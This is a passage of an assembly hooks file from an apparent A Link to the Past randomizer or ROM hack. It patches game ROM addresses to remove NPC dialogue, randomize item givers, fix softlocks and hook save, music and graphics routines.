sprite_smithy_bros.asm : 479 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- We'll take your sword org $06B4F3 ; <- 334F3 sprite_smithy_bros.asm : 556 (JSL Sprite_ShowMessageUnconditional) JSL ItemSet_SmithSword ;NOP #4 ;-- Smiths can't make your sword any stronger org $06B4A1 ; <- 334A1 sprite_smithy_bros.asm : 491 - (Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Not enough magic text org $07B0CC ; <- 3B0CC Bank07.asm : 7767 - (JSL Main_ShowTextMessage) NOP #4 ;---------------------------------------------------------- ; ;-- Witch's Assistant ; org $05F8E7 ; <- 2F8E7 sprite_potion_shop.asm : 603 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; org $05F8F5 ; <- 2F8F5 sprite_potion_shop.asm : 620 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;---------------------------------------------------------- ; ;-- Bottle Vendor ; org $05EAE3 ; <- 2EAE3 sprite_bottle_vendor.asm : 104 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_converse) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; org $05EB03 ; <- 2EB03 sprite_bottle_vendor.asm : 129 - (JSL Sprite_ShowMessageUnconditional) ; NOP #4 ; ;---------------------------------------------------------- ; ;-- Digging Game Guy ; org $1DFC76 ; <- EFC76 sprite_digging_game_guy.asm : 46 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .return) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; org $1DFCA6 ; <- EFCA6 sprite_digging_game_guy.asm : 89 (JSL Sprite_ShowMessageUnconditional) ; NOP #4 ; ;---------------------------------------------------------- ; ;-- Flute Boy ; org $06B078 ; <- 33078 sprite_flute_boy.asm : 244 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; org $06B0AF ; <- 330AF sprite_flute_boy.asm : 308 - (JSL Sprite_ShowMessageUnconditional) ; NOP #4 ; ;---------------------------------------------------------- ; ;-- 300 rupee npcs ; org $1EF047 ; <- F7047 sprite_shopkeeper.asm : 227 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) (probably) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ; ;---------------------------------------------------------- ; ;-- Chest Game Guy ; org $1EEFBF ; <- F6FBF sprite_shopkeeper.asm : 121 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC BRANCH_ALPHA) ; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $1EEFE0 ; <- F6FE0 sprite_shopkeeper.asm : 144 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Desert Palace plaque (opening desert with book) org $1EE0D2 ; <- F60D2 Sprite_Hylian_Plaque.asm : 127 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ; ;---------------------------------------------------------- ; ;-- Uncle gives sword ; org $05DF34 ; <- 2DF34 sprite_uncle_and_priest.asm : 961 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .player_not_close_2) ; JSL Sprite_ShowMessageFromPlayerContact_Edit ; ;---------------------------------------------------------- ;=================================== ;-- Escort Text ;-- dw coordinate, coordinate, flag, text message number, tagalong number ;=================================== org $09A4C2 ; <- 4A4C2 tagalong.asm : 967 - (.room_data_1) dw $1EF0, $0288, $0001, $0097, $00F0 ; Old man first text after encounter text dw $1E58, $02F0, $0002, $0098, $00F0 ; Old man "dead end" (when you run to the pot) dw $1EA8, $03B8, $0004, $0099, $00F0 ; Old man "turn right here" dw $0CF8, $025B, $0001, $001F, $00F0 ; Zelda "there's a secret passage" dw $0CF8, $039D, $0002, $001F, $00F0 ; Zelda "there's a secret passage" dw $0C78, $0238, $0004, $001F, $00F0 ; Zelda "there's a secret passage" dw $0A30, $02F8, $0001, $0020, $00F0 ; Zelda "we can push this" dw $0178, $0550, $0001, $0021, $00F0 ; Zelda "pull the lever" dw $0168, $04F8, $0002, $0028, $00F0 ; Zelda room before sanctuary dw $1BD8, $16FC, $0001, $0122, $00F0 ; Blind (maiden) "don't take me outside!" dw $1520, $167C, $0001, $0122, $00F0 ; Blind (maiden) "don't take me outside!" dw $05AC, $04FC, $0001, $0027, $00F0 ; Zelda in the water room ;---------------------------------------------------------- ;---------------------------------------------------------- ;-- Speed up Walls (Desert, Mire, and Palace of Darkness) ; org $01CA66 ; <- CA66 Bank01.asm : 10864 - (LDA.w #$2200 : ADD $041C : STA $041C) ; LDA.w #$4400 ; #$2200 is the normal speed, $#FF00 is max. ;---------------------------------------------------------- ;-- Hobo gives item faster ; org $06BE3A ; <- 33E3A sprite_hobo.asm : 90 - (db 6, 2, 6, 6, 2, 100, 30) ; db 6, 2, 6, 6, 2, 6, 30 ;---------------------------------------------------------- ;-- Sick kid gives item faster ; org $06B9A1 ; <- 339A1 sprite_bug_net_kid : 62 - (db 8, 12, 8, 12, 8, 96, 16) ; db 8, 12, 8, 12, 8, 32, 16 ;---------------------------------------------------------- ;================================================================================ ; Ganon Fixes ;-------------------------------------------------------------------------------- ;org $1D91E3 ; <- E91E3 - sprite_ganon.asm : 778 ;JSL.l GanonWarpRNG ;NOP #2 ;LDA #$00 : NOP #4 ;-------------------------------------------------------------------------------- ; Hook end of Z3 save routine and save SM items/checksum ; Has to be at the end of the routine or NMI will disrupt the saving routine org $0089be jml zelda_save_done_hook ;================================================================================ ; Dark World Spawn Location Fix & Follower Fixes ;-------------------------------------------------------------------------------- org $00894A ; <- 94A PHB : JSL.l DarkWorldSaveFix ;-------------------------------------------------------------------------------- org $0CCF05 ; <- 64F05 JSL.l DarkWorldLoadFix NOP #7 ;-------------------------------------------------------------------------------- org $09F520 ; <- 4F520 - module_death.asm : 401 (LDA $7EF3C5 : CMP.b #$03 : BCS BRANCH_THETA) JSL.l OnPlayerDead JSL.l IncrementDeathCounter NOP #4 NOP #6 ;-------------------------------------------------------------------------------- ;org $02D61A ; <- 1561A ;LDA.b #$01 : STA $1B ; fix something i wrote over i shouldn't have ;-------------------------------------------------------------------------------- org $1ED379 ; <- F5379 - sprite_agahnim.asm:75 - JSL PrepDungeonExit JSL FixAgahnimFollowers ;================================================================================ ;================================================================================ ; Randomize NPC Items ;-------------------------------------------------------------------------------- org $028823 ; <- 10823 - Bank02.asm:1560 (LDA $7EF3C5 : BEQ .ignoreInput) JSL.l AllowSQ ;-------------------------------------------------------------------------------- org $08C45F ; <- 4445F - ancilla_recieve_item.asm:157 (STZ $02E9) JSL.l PostItemAnimation : NOP #2 ;-------------------------------------------------------------------------------- org $1EE90A ; <- F690A JSL.l ItemCheck_OldMan NOP #2 ;-------------------------------------------------------------------------------- org $0280F2 ; <- 100F2 JSL.l ItemCheck_OldMan NOP #2 ;-------------------------------------------------------------------------------- org $1EE9FE ; <- F69FE JSL.l ItemSet_OldMan ;-------------------------------------------------------------------------------- org $068F16 ; <- 30F16 JSL.l ItemCheck_ZoraKing ;-------------------------------------------------------------------------------- org $059ACA ; <- 29ACA JSL $1DE1AA ; Sprite_SpawnFlippersItem ;-------------------------------------------------------------------------------- org $1DE1E4 ; <- EE1E4 - sprite_great_catfish.asm : 489 JSL.l LoadZoraKingItemGFX NOP #2 ;-------------------------------------------------------------------------------- org $1DE1A1 ; <- EE1A1 - sprite_great_catfish.asm : 45 JSL.l LoadCatfishItemGFX NOP #2 ;-------------------------------------------------------------------------------- org $068D86 ; <- 30D86 JSL.l ItemCheck_SickKid ;-------------------------------------------------------------------------------- org $06B9D4 ; <- 339D4 - sprite_bug_net_kid.asm : 111 (JSL Link_ReceiveItem) JSL.l ItemSet_SickKid ;-------------------------------------------------------------------------------- org $068BAC ; <- 30BAC - SpritePrep_FluteBoy : 1068 JSL.l ItemCheck_TreeKid2 org $06908D ; <- 3108D - SpritePrep_FluteBoy : 2175 JSL.l ItemCheck_TreeKid CMP.b #$08 BEQ $0A org $069095 ; <- 31095 - SpritePrep_FluteBoy : 2177 JSL.l ItemCheck_TreeKid CMP.b #$08 org $0690BD ; <- 310BD - SpritePrep_FluteBoy : 2202 JSL.l ItemCheck_TreeKid2 org $06AF9B ; <- 32F9B - FluteBoy_Chillin : 73 : LDA $7EF34C : CMP.b #$02 : BCS .player_has_flute ;NOP #8 LDA !HAS_GROVE_ITEM : AND.b #$01 db #$D0 ; BNE org $06B062 ; <- 33062 - FluteAardvark_InitialStateFromFluteState : 225 : LDA $7EF34C : AND.b #$03 : !BGE #$05 JSL.l ItemCheck_TreeKid2 NOP #$02 ; remove pointless AND org $06B048 ; <- 33048 JSL.l ItemCheck_TreeKid3 org $06AF59 ; <- 32F59 - sprite_flute_boy.asm : 36 (LDA $0D80, X : CMP.b #$03 : BEQ .invisible) JML.l FluteBoy FluteBoy_Abort: RTS FluteBoy_Continue: ;org $1E9968 ; <- F1968 - sprite_flute_boy_ostrich.asm : 14 (dw FluteBoyOstrich_Chillin) ;dw #$9991 ; FluteBoyOstrich_RunAway ;-------------------------------------------------------------------------------- org $06B0C9 ; <- 330C9 JSL.l ItemSet_TreeKid ;-------------------------------------------------------------------------------- org $05F177 ; <- 2F177 JSL.l ItemCheck_Sahasrala ;-------------------------------------------------------------------------------- org $05F200 ; <- 2F200 JSL.l ItemSet_Sahasrala ;-------------------------------------------------------------------------------- org $1DE102 ; <- EE102 JSL.l ItemCheck_Catfish org $1DE11C ; <- EE11C JSL.l ItemCheck_Catfish ;-------------------------------------------------------------------------------- org $1DE1A1 ; <- EE1A1 - sprite_great_catfish.asm : 445 JSL.l LoadCatfishItemGFX NOP #2 ;-------------------------------------------------------------------------------- org $1DDF49 ; <- EDF49 - sprite_great_catfish.asm : 19 JML.l JumpToSplashItemTarget : NOP org $1DDF4E ; <- EDF4E - sprite_great_catfish.asm : 21 SplashItem_SpawnSplash: org $1DDF52 ; <- EDF52 - sprite_great_catfish.asm : 27 SplashItem_SpawnOther: org $1DE228 ; <- EE228 - sprite_great_catfish.asm : 290 LDA.b #$FF ;-------------------------------------------------------------------------------- org $1DDF81 ; <- EDF81 - sprite_great_catfish.asm : 61 JSL.l DrawThrownItem ;-------------------------------------------------------------------------------- ;org $1DE1B0 ; <- EE1B0 - sprite_great_catfish.asm : 461 ;NOP #2 ;-------------------------------------------------------------------------------- org $05EE53 ; <- 2EE53 - mushroom.asm : 22 JSL.l ItemCheck_Mushroom NOP #2 ;-------------------------------------------------------------------------------- org $05EE8C ; <- 2EE8C - mushroom.asm : 69 JSL.l ItemSet_Mushroom NOP ;-------------------------------------------------------------------------------- org $05F53E ; <- 2F53E - sprite_potion_shop.asm : 40 JSL.l ItemCheck_Powder CMP.b #$20 ;-------------------------------------------------------------------------------- ; the quake medallion AND FLIPPERS org $1DDF71 ; <- EDF71 - sprite_great_catfish.asm : 47 JSL.l MarkThrownItem ;-------------------------------------------------------------------------------- ;org $05F65D ; <- 2F65D - DONE IN INVENTORY ;JSL.l ItemSet_Powder ;NOP #2 ;-------------------------------------------------------------------------------- ;JSL.l ItemCheck_RupeeNPC ;-------------------------------------------------------------------------------- ;JSL.l ItemSet_RupeeNPC ;-------------------------------------------------------------------------------- ;org $08D01B ; PC 0x4501B - ancilla_flute.asm - 55 ;JSL.l ItemSet_Flute ;-------------------------------------------------------------------------------- org $05FAFF ; <- 2FAFF - sprite_mad_batter.asm:57 (LDA $7EF37B : CMP.b #$01 : BCS .magic_already_doubled) JSL.l ItemCheck_MagicBat : BEQ + : RTS : NOP : + ;================================================================================ ;================================================================================ ; Boss Hearts ;-------------------------------------------------------------------------------- org $05EF5D ; <- 2EF5D - sprite_heart_upgrades.asm:110 (JSL GetAnimatedSpriteTile.variable) JSL.l HeartContainerSpritePrep ;-------------------------------------------------------------------------------- org $05EF79 ; <- 2EF79 - sprite_heart_upgrades.asm:128 (JSL Sprite_PrepAndDrawSingleLargeLong) JSL.l DrawHeartContainerGFX ;-------------------------------------------------------------------------------- org $05EFCE ; <- 2EFCE - sprite_heart_upgrades.asm:176 (JSL Link_ReceiveItem) ;org $05EFEE ; <- 2EFEE - sprite_heart_upgrades.asm:202 (JSL Link_ReceiveItem) JSL.l HeartContainerGet ;-------------------------------------------------------------------------------- ;-------------------------------------------------------------------------------- org $0799B1 ; 399B1 - Bank07.asm:4063 (CPY.b #$3E : BNE .notHeartContainer) JSL.l HeartContainerSound BCC Link_ReceiveItem_notHeartContainer ; JSR Player_DoSfx3 org $0799BA ; 399BA - Bank07.asm:4070 (LDA.b #$60 : STA $02D9) Link_ReceiveItem_notHeartContainer: ;-------------------------------------------------------------------------------- org $09887F ; <- 4887F - ancilla_init.asm : 1163 (LDA $0C5E, X : CMP.b #$3E : BEQ .doneWithSoundEffects) JSL NormalItemSkipSound NOP BCS AddReceivedItem_doneWithSoundEffects org $0988AE ; <- 488AE - ancilla_init.asm : 1193 (LDA.b #$0A : STA $02) AddReceivedItem_doneWithSoundEffects: ;================================================================================ ; Heart Pieces ;-------------------------------------------------------------------------------- org $05F030 ; <- 2F030 - display item JSL.l DrawHeartPieceGFX ;-------------------------------------------------------------------------------- org $05F08A ; <- 2F08A - sprite_heart_upgrades.asm : 324 - (LDA $7EF36B : INC A : AND.b #$03 : STA $7EF36B : BNE .got_4_piecese) item determination JSL.l HeartPieceGet BCS $18 ; reinsert the near branch that appears midway through what we overrode NOP #22 ;-------------------------------------------------------------------------------- org $06C0B0 ; <- 340B0 - sprite prep JSL.l HeartPieceSpritePrep ;-------------------------------------------------------------------------------- org $08C45B ; <- 4445B - ancilla_receive_item.asm : 152 JSL.l HPItemReset ;-------------------------------------------------------------------------------- org $05EF1E ; <- 2EF1E - sprite_heart_upgrades.asm : 48 (LDA $7EF280, X : AND.b #$40 : BEQ .dont_self_terminate) JSL.l HeartUpgradeSpawnDecision ;-------------------------------------------------------------------------------- org $05EFFA ; <- 2EFFA - sprite_heart_upgrades.asm : 216 (LDA $7EF280, X : ORA.b #$40 : STA $7EF280, X) JSL.l SaveHeartCollectedStatus NOP #6 ;================================================================================ ;================================================================================ ; Fake Flippers Softlock Fix + General Damage Hooks ;-------------------------------------------------------------------------------- org $078091 ; <- 38091 - Bank07.asm:138 (LDA $037B : BNE .linkNotDamaged) LDA $0373 : STA $00 : STZ $0373 ; store and zero damage LDA $037B : BNE LinkDamaged_linkNotDamaged ; skip if immune ;-------------------------------------------------------------------------------- org $0780C6 ; <- 380C6 - Bank07.asm:174 (LDA $7EF36D) JSL.l OnLinkDamaged ;-------------------------------------------------------------------------------- org $0780FB ; <- 380FB - Bank07.asm:207 (.linkNotDamaged) LinkDamaged_linkNotDamaged: ;-------------------------------------------------------------------------------- org $0794FB ; <- 394FB - Bank07.asm:3336 (LDA.b #$14 : STA $11) JSL.l OnLinkDamagedFromPit ;-------------------------------------------------------------------------------- ; org $01FFE7 ; <- FFE7 - Bank01.asm:16375 (LDA $7EF36D) ; JSL.l OnLinkDamagedFromPitOutdoors ; commenting this out, since it is for OHKO-mode in LttP. it jumps to an RTL ; which currently does nothing. as a result, it sets Link's hearts to 4.5 ; when you jump off the bridge on death mountain ;-------------------------------------------------------------------------------- org $078F27 ; <- 38F27 JSL.l FlipperReset ;-------------------------------------------------------------------------------- org $09F40B ; <- 4F40B - module_death.asm:222 (LDX.b #$00) JSL.l IgnoreFairyCheck ;-------------------------------------------------------------------------------- org $078F51 ; <- 38F51 - Bank07.asm:2444 (JSR $AE54 ; $3AE54 IN ROM) JSL.l OnEnterWater : NOP ;-------------------------------------------------------------------------------- ;================================================================================ ; Floodgate Softlock Fix ;-------------------------------------------------------------------------------- org $0AB8E5 ; <- 538E5 JSL.l FloodGateAndMasterSwordFollowerReset JSL.l IncrementFlute NOP #32 ;-------------------------------------------------------------------------------- org $02AA87 ; <- 12A87 JSL.l OnOWTransition NOP #36 ;================================================================================ ;================================================================================ ; Add SFX ;-------------------------------------------------------------------------------- org $1DFDA8 ; <- EFDA9 - sprite_digging_game_guy.asm:309 (STA $7FFE00) JSL.l SpawnShovelGamePrizeSFX ;-------------------------------------------------------------------------------- ;org $01EEB6 ; <- EEB6 - Bank01.asm:14138 (ORA.b #$40 : STA $0403) org $01EECD ; <- EECD - Bank01.asm:14160 (LDA.b #$0E : STA $012F) JSL.l SpawnChestGamePrizeSFX : NOP ;================================================================================ ;================================================================================ ; Heart Beep Timer ;-------------------------------------------------------------------------------- org $0DDC9B ; <- 6DC9B JSL.l BeepLogic NOP #6 ;================================================================================ ;================================================================================ ; Item Downgrade Fix ;-------------------------------------------------------------------------------- org $09865E ; <- 4865E JSL.l $1BEE1B ; fix something i wrote over i shouldn't have ;-------------------------------------------------------------------------------- org $098638 ; <- 48638 - ancilla_init.asm:737 - LDA .item_values, Y : BMI .dontWrite (BMI) JSL.l ItemDowngradeFix ;================================================================================ ;================================================================================ ; Lamp Mantle & Light Cone Fix ;-------------------------------------------------------------------------------- org $1AFC4D ; <- D7C4D - sprite_movable_mantle.asm:31 (LDA $7EF3CC : CMP.b #$01 : BNE .return) JSL.l CheckForZelda ;-------------------------------------------------------------------------------- org $1AFC55 ; <- D7C55 - sprite_movable_mantle.asm:34 (LDA $7EF34A : BEQ .return) NOP #6 ; remove check ;-------------------------------------------------------------------------------- org $068841 ; <- 30841 - sprite_prep.asm:269 (LDA $0D00, X : ADD.b #$03 : STA $0D00, X) JSL.l Mantle_CorrectPosition : NOP #2 ;-------------------------------------------------------------------------------- org $0DFA53 ; <- 6FA53 - hud check for lantern JSL.l LampCheck ;-------------------------------------------------------------------------------- org $01F503 ; <- F503 - Bank01.asm:14994 (LDA.b #$01 : STA $1D) JSL.l SetOverlayIfLamp ;================================================================================ ; ;================================================================================ ; ; Overworld Door Frame Overlay Fix ; ; ; ; When entering an overworld entrance, if it is an entrance to a simple cave, we ; ; store the overworld door id, then use that (instead of the cave id) to determine the ; ; overlay to draw when leaving the cave again. We also use this value to ; ; identify the tavern entrance to determine whether link should walk up or down. ; ;-------------------------------------------------------------------------------- ; org $1BBD5F ; <- Bank1b.asm:296 (LDA $1BBB73, X : STA $010E) ; JSL.l StoreLastOverworldDoorID ; NOP #3 ; ;-------------------------------------------------------------------------------- ; org $02D754 ; <- Bank02.asm:10847 (LDA $D724, X : STA $0696 : STZ $0698) ; JSL.l CacheDoorFrameData ; NOP #5 ; ;-------------------------------------------------------------------------------- ; org $0298AD ; <- Bank02.asm:4495 (LDA $010E : CMP.b #$43) ; JSL.l WalkDownIntoTavern ; NOP #1 ; ;================================================================================ ;================================================================================ ; Music fixes ;-------------------------------------------------------------------------------- org $0282F4 ; <- Bank02.asm:654 (LDY.b #$58 ...) JML.l PreOverworld_LoadProperties_ChooseMusic org $028389 ; <- Bank02.asm:763 PreOverworld_LoadProperties_SetSong: ;-------------------------------------------------------------------------------- org $05CC58 ; <- Bank05.asm:1307 (LDA $040A : CMP.b #$18) JSL PsychoSolder_MusicCheck NOP #1 ;================================================================================ ;================================================================================ ; Hooks for roomloading.asm ;-------------------------------------------------------------------------------- org $02895D ; <- Bank02.asm:1812 (JSL Dungeon_LoadRoom) JSL LoadRoomHook ;-------------------------------------------------------------------------------- org $028BE7 ; <- Bank02.asm:2299 (JSL Dungeon_LoadRoom) JSL LoadRoomHook_noStats ;-------------------------------------------------------------------------------- org $029309 ; <- Bank02.asm:3533 (JSL Dungeon_LoadRoom) JSL LoadRoomHook_noStats ;-------------------------------------------------------------------------------- org $02C2F3 ; <- Bank02.asm:10391 (JSL Dungeon_LoadRoom) JSL LoadRoomHook_noStats ;================================================================================ ;================================================================================ ; Hooks into the "Reloading all graphics" routine ;-------------------------------------------------------------------------------- org $00E64D ; <- Bank00.asm:5656 (STZ $00 : STX $01 : STA $02) JML BgGraphicsLoading BgGraphicsLoadingCancel: RTS : NOP BgGraphicsLoadingResume: ;================================================================================ ;================================================================================ ; Hook when updating the floor tileset in dungeons (such as between floors) ;-------------------------------------------------------------------------------- org $00DF62 ; <- Bank00.asm:4672 (LDX.w #$0000 : LDY.w #$0040) JML ReloadingFloors NOP : NOP ReloadingFloorsResume: org $00DF6E ; <- A few instructions later, right after JSR Do3To4High16Bit ReloadingFloorsCancel: ;================================================================================ ; ;================================================================================ ; ; Hook bow use - to use rupees instead of actual arrows ; ;-------------------------------------------------------------------------------- ; org $07A055 ; <- Bank07.asm:5205 (LDA $0B99 : BEQ BRANCH_DELTA) ; JSL.l ArrowGame : NOP #14 ; org $07A06C ; <- Bank07.asm:5215 (LDA $7EF377 : BEQ BRANCH_EPSILON) ; JSL.l DecrementArrows : SKIP 2 : NOP : LDA $7EF377 ; ;================================================================================ ;================================================================================ ; Quick Swap ;-------------------------------------------------------------------------------- org $0287FB ; <- 107FB - Bank02.asm:1526 (LDA $F6 : AND.b #$40 : BEQ .dontActivateMap) JSL.l QuickSwap org $02A451 ; <- 12451 - Bank02.asm:6283 (LDA $F6 : AND.b #$40 : BEQ .xButtonNotDown) JSL.l QuickSwap ;================================================================================ ;================================================================================ ; Tagalong Fixes ;-------------------------------------------------------------------------------- org $0689AB ; <- 309AB - sprite_prep.asm: 647 (LDA $7EF3CC : CMP.b #$06 : BEQ .killSprite) ; Note: In JP 1.0 we have: (CMP.b #$00 : BNE .killSprite) appling US bugfix ; Prevent followers from causing blind/maiden to despawn: CMP.b #$06 : db #$F0 ; BEQ ;-------------------------------------------------------------------------------- ;Control which doors frog/smith can enter org $1BBCF0 ; <- DBCF0 - Bank1B.asm: 248 (LDA $04B8 : BNE BRANCH_MU) Overworld_Entrance_BRANCH_LAMBDA: ; Branch here to show Cannot Enter with Follower message org $1BBD55 ; <- DBD55 - Bank1B.asm: 290 (CPX.w #$0076 : BCC BRANCH_LAMBDA) JML.l SmithDoorCheck : NOP Overworld_Entrance_BRANCH_RHO: ; branch here to continue into door ;================================================================================ ; ;================================================================================ ; ; Paradox Cave Shopkeeper Fixes ; ;-------------------------------------------------------------------------------- ; org $008C19 ; Bank00.asm@1633 (LDA.b #$01 : STA $420B) ; JSL ParadoxCaveGfxFix ; NOP ;-- Extended sprite sheets ; org $00e7b2 ; - bank00.asm : 5847 jml Decomp_spr_high_extended org $00e7de Decomp_spr_high_extended_return: ;================================================================================ ; Text Removal ;-------------------------------------------------------------------------------- ;-- Music restarting at zelda fix org $05ED10 ; <- 2ED10 - sprite_zelda.asm : 233 - (LDA.b #$19 : STA $012C) NOP #5 ;-------------------------------------------------------------------------------- org $1ECE47 ; <- F4E47 - sprite_crystal_maiden.asm : 220 JML.l MaidenCrystalScript ;-------------------------------------------------------------------------------- org $1ECCEB ; <- F4CEB - sprite_crystal_maiden.asm : 25 ; skip all palette nonsense JML.l SkipCrystalPalette ;;;org $1ECD39 ;;;SkipCrystalPalette: ;-------------------------------------------------------------------------------- org $08C3FD ; <- 443FD - ancilla_receive_item.asm : 89 !MS_GOT = "$7F5031" LDA #$40 : STA !MS_GOT ;;NOP #6 ; don't set master sword follower ;-------------------------------------------------------------------------------- org $08C5FE ; <- 445FE - ancilla_receive_item.asm : 408 NOP #4 ;-------------------------------------------------------------------------------- org $1ED467 ; <- F5467 - sprite_agahnim.asm : 202 NOP #4 ;-------------------------------------------------------------------------------- org $1ED4FF ; <- F54FF - sprite_agahnim.asm : 328 NOP #4 ;-------------------------------------------------------------------------------- ;org $029C94 ; <- 11C94 - Bank02.asm : 5197 (JSL Main_ShowTextMessage) ;NOP #4 ;-------------------------------------------------------------------------------- org $029CBD ; <- 11CBD - Bank02.asm : 5227 (JSL Messaging_Text) STZ $11 NOP #2 ;-------------------------------------------------------------------------------- ;org $029CD3 ; <- 11CD3 - Bank02.asm : 5237 (BNE BRANCH_BETA) ;db $80 ; BRA ;-------------------------------------------------------------------------------- org $029CDF ; <- 11CDF - Bank02.asm : 5245 (JSL Main_ShowTextMessage) NOP #4 ;-------------------------------------------------------------------------------- org $029CF0 ; <- 11CF0 - Bank02.asm : 5266 STZ $11 NOP #2 ;-------------------------------------------------------------------------------- org $05FB70 ; <- 2FB70 - sprite_mad_batter.asm:131 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-------------------------------------------------------------------------------- org $05FBC2 ; <- 2FBC3 - sprite_mad_batter.asm:195 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-------------------------------------------------------------------------------- ;org $05F16C ; <- 2F16C - sprite_elder.asm : 137 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F190 ; <- 2F190 - sprite_elder.asm : 170 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F1A8 ; <- 2F1A8 - sprite_elder.asm : 182 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F1BC ; <- 2F1BC - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;org $05F1CE ; <- 2F1CE - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;NOP #4 ;-------------------------------------------------------------------------------- ;-- Old mountain man healing text org $1EEAD7 ; F6AD7 sprite_old_mountain_man.asm : (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-------------------------------------------------------------------------------- ;-- Priest healing text org $05DE11 ; 2DE11 sprite_uncle_and_priest.asm : 720 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .gamma) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-------------------------------------------------------------------------------- ;-- zelda's heal text org $05EE38 ; <- 2ee38 sprite_zelda.asm : 474 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-------------------------------------------------------------------------------- ;-- zelda in jail org $05ED06 ; <- 2ED06 sprite_zelda.asm : 227 - (JSL Sprite_ShowMessageUnconditional) STZ $1CE8 : NOP org $05ED27 ; <- 2ED27 sprite_zelda.asm : 256 - (JSL Sprite_ShowMessageUnconditional) NOP #4 org $05ED35 ; <- 2ED35 sprite_zelda.asm : 272 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------- ;-- sanctuary org $05DD83 ; <- 2DD83 sprite_uncle_and_priest.asm : 608 - (JSL Sprite_ShowMessageUnconditional) STZ $1CE8 : NOP org $05EDC8 ; <- 2EDC8 sprite_zelda.asm : 388 - (JSL Sprite_ShowMessageUnconditional) NOP #4 org $05DDAB ; <- 2DDAB sprite_uncle_and_priest.asm : 635 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------- ;-- Sick Kid org $06B9C6 ; <- 339C6 sprite_bug_net_kid.asm : 92 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------- ;-- Hobo org $06BE5F ; <- 33E5F sprite_hobo.asm : 121 - (JSL Sprite_ShowMessageUnconditional) Nop #4 ;---------------------------------------------------------- ;-- Sahasrahla org $05F190 ; <- 2F190 sprite_elder.asm : 154 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show_2) - "Blah blah blah, take the boots" JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $05F212 ; <- 2F212 sprite_elder.asm : 261 - (JSL Sprite_ShowMessageUnconditional) - "Gave you the boots but I'm not doing talking yet" NOP #4 org $05F1ED ; <- 2F1ED sprite_elder.asm : 225 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Shopkeepers org $1EEF7C ; <- F6F7C sprite_shopkeeper.asm : 85 (JSL Sprite_ShowMessageUnconditional) NOP #4 org $1EF375 ; <- F7375 sprite_shopkeeper.asm : 810 (JSL Sprite_ShowMessageUnconditional : JSL ShopKeeper_RapidTerminateReceiveItem) NOP #8 ;---------------------------------------------------------- ;-- Bomb shop guy (buying small bombs, and buying big bomb) org $1EE1C0 ; <- F61C0 sprite_bomb_shop_entity.asm : 120 (JSL Sprite_ShowMessageUnconditional) NOP #4 org $1EE208 ; <- F6208 sprite_bomb_shop_entity.asm : 178 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- Text hook for the actual npc org $1EE181 ; <- F6181 sprite_bomb_shop_entity.asm : 85 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) ;;;JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Alt ;---------------------------------------------------------- ;-- Catfish org $1DE112 ; <- EE112 sprite_great_catfish.asm : 341 (JSL Sprite_ShowMessageMinimal) NOP #4 ;---------------------------------------------------- ;-- King Zora org $059A7D ; <- 29A7D sprite_zora_king.asm : 223 - (JSL Sprite_ShowMessageMinimal) STZ $1CE8 : NOP ;---------------------------------------------------- ;-- Before Agah 1 fight org $1DD299 ; <- ED299 sprite_chatty_agahnim.asm : 111 (JSL Sprite_ShowMessageMinimal) NOP #4 org $1DD35E ; <- ED35E sprite_chatty_agahnim.asm : 253 (JSL Sprite_ShowMessageMinimal) NOP #4 ;---------------------------------------------------- ;-- Blind Maiden (in jail) ;org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak) ;NOP #4 ;---------------------------------------------------- ;-- Blind (Maiden) in Jail org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak) JSL Sprite_ShowMessageFromPlayerContact_Edit 